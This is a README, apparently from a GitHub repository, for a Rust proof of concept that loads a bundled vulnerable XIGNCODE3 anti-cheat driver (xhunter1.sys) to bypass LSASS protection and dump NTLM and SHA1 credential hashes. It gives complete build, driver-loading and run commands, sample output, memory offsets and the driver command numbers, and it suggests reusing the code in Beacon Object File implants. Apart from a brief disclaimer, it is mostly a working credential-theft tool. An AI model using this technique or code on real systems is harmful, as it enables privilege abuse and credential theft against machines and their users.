LSASS凭据转储概念验证,利用Wellbia的XIGNCODE3反作弊驱动xhunter1.sys中绕过PPL的进程句柄泄漏漏洞。
该驱动暴露了一个IRP_MJ_WRITE命令接口,调用ObOpenObjectByPointer时AccessMode = KernelMode且未设置OBJ_KERNEL_HANDLE,从而将内核授予的PROCESS_ALL_ACCESS句柄直接放入调用者的句柄表中。接着,标准凭据转储代码从目标中读取lsasrv.dll的3DES密钥,并恢复每个活跃登录会话的NTLM + SHA1哈希。
xhunter1.sys 版本 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
本仓库中包含该有漏洞的已签名驱动(xhunter1.sys),以便端到端重现漏洞。加载前请验证哈希:
Get-FileHash .\xhunter1.sys -Algorithm SHA256
较新的XIGNCODE3版本已修补。该有漏洞的已签名二进制文件仍可在任何能卸载并加载的主机上用作BYOVD原语。
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
发布二进制文件位于target\release\CredsHunter.exe。
将捆绑驱动作为内核服务加载(驱动的设备DACL允许任何调用者运行后访问):
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
运行工具:
.\target\release\CredsHunter.exe
之后清理:
sc stop xhunter
sc delete xhunter
默认设备名为\\.\xhunter(与上面的服务示例名称匹配)。如果服务使用了不同名称,设备路径也会相应变化——请编辑driver::DEFAULT_DEVICE或相应调用Xhunter::open_named。
xhunter1.sys BYOVD — LSASS凭据转储
CVE-2026-3609 — 通过命令785绕过PPL(ObOpenObjectByPointer/KernelMode)
[+] OS构建 ................ 26200
[+] lsass.exe PID ......... 940
[+] 驱动已打开 ............ \\.\xhunter
[+] PPL绕过句柄 ........... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ 本地 0x00007FFB27CB0000 远程 0x00007FFB27CB0000
[+] LSA密钥地址(本地)... AES 0x... 3DES 0x... IV 0x...
[+] 3DES密钥(24B)........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
用户 : <username>
域 : <domain>
NTHash : <16字节hex>
SHA1 : <20字节hex>
[...]
src/
├── main.rs # 横幅、运行流程、ExitCode处理
├── driver.rs # Xhunter、Session、MemReader trait、协议常量
├── proc.rs # find_pid、PEB遍历远程模块查找
├── pe.rs # 本地PE解析 + 模式扫描 + RIP解码
├── lsa.rs # LSA密钥模式、BCrypt密钥提取、3DES解密
├── logon.rs # LogonSessionList遍历器 + MSV1_0偏移量
├── wdigest.rs # WDigest列表遍历器(尽力而为)
└── sys.rs # OS构建号
MemReader trait抽象了内存读取操作,因此凭据提取模块不依赖特定驱动原语。如果在不同读取器(例如Beacon Object File运行时、基于ptwalk的物理内存读取器)上实现该trait,则lsa / logon / wdigest模块可直接复用。
48 3B D9 74),继承自原始公开PoC,且尚未针对Windows 11 build 26100+进行更新。将其构建为每个构建版本的表格并不复杂;欢迎提交PR。xhunter。如果在不同名称下加载驱动,请编辑driver::DEFAULT_DEVICE或向Xhunter::open_named传递覆盖值。仅供研究、授权测试和防御工具使用。在非自己拥有或未经明确许可的系统上加载此有漏洞驱动在大多数司法管辖区属于犯罪。作者对任何滥用行为不承担责任。
参见LICENSE。
| 阶段 | 组件 | 说明 |
|---|
| 1 | driver.rs → Xhunter::open | CreateFile("\\.\\xhunter") — 设备无需认证 |
| 2 | driver.rs → Xhunter::open_process | WriteFile 发送命令785(PID,PROCESS_ALL_ACCESS)。驱动调用 ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) 并将句柄写回用户响应缓冲区的 +0x10 位置。该句柄能够绕过PPL,因为 AccessMode = KernelMode 跳过了访问检查,且未设置 OBJ_KERNEL_HANDLE,因此句柄落在我们的句柄表中。 |
| 3 | driver.rs → Session::attach | 对内核授予的句柄尝试 ReadProcessMemory。如果RPM被阻止,则回退到驱动命令787(KeStackAttachProcess + memcpy)。 |
| 4 | lsa.rs | 在本地lsasrv.dll的.text段中进行模式扫描,恢复指向LsaInitializeProtectedMemory内AES密钥、3DES密钥和IV的RIP相对指针。将这些VA重定位到目标映射中,遍历BCRYPT_HANDLE_KEY → BCRYPT_KEY81,从目标中提取原始3DES字节。 |
| 5 | logon.rs | 遍历LogonSessionList(每个构建版本的签名表)。每个条目的主凭据位于+credentials → +0x10 → +0x30,包含一个0x1B0字节的3DES加密块。bcrypt.dll对其进行解密;字节70..86是NT哈希,102..122是SHA1。 |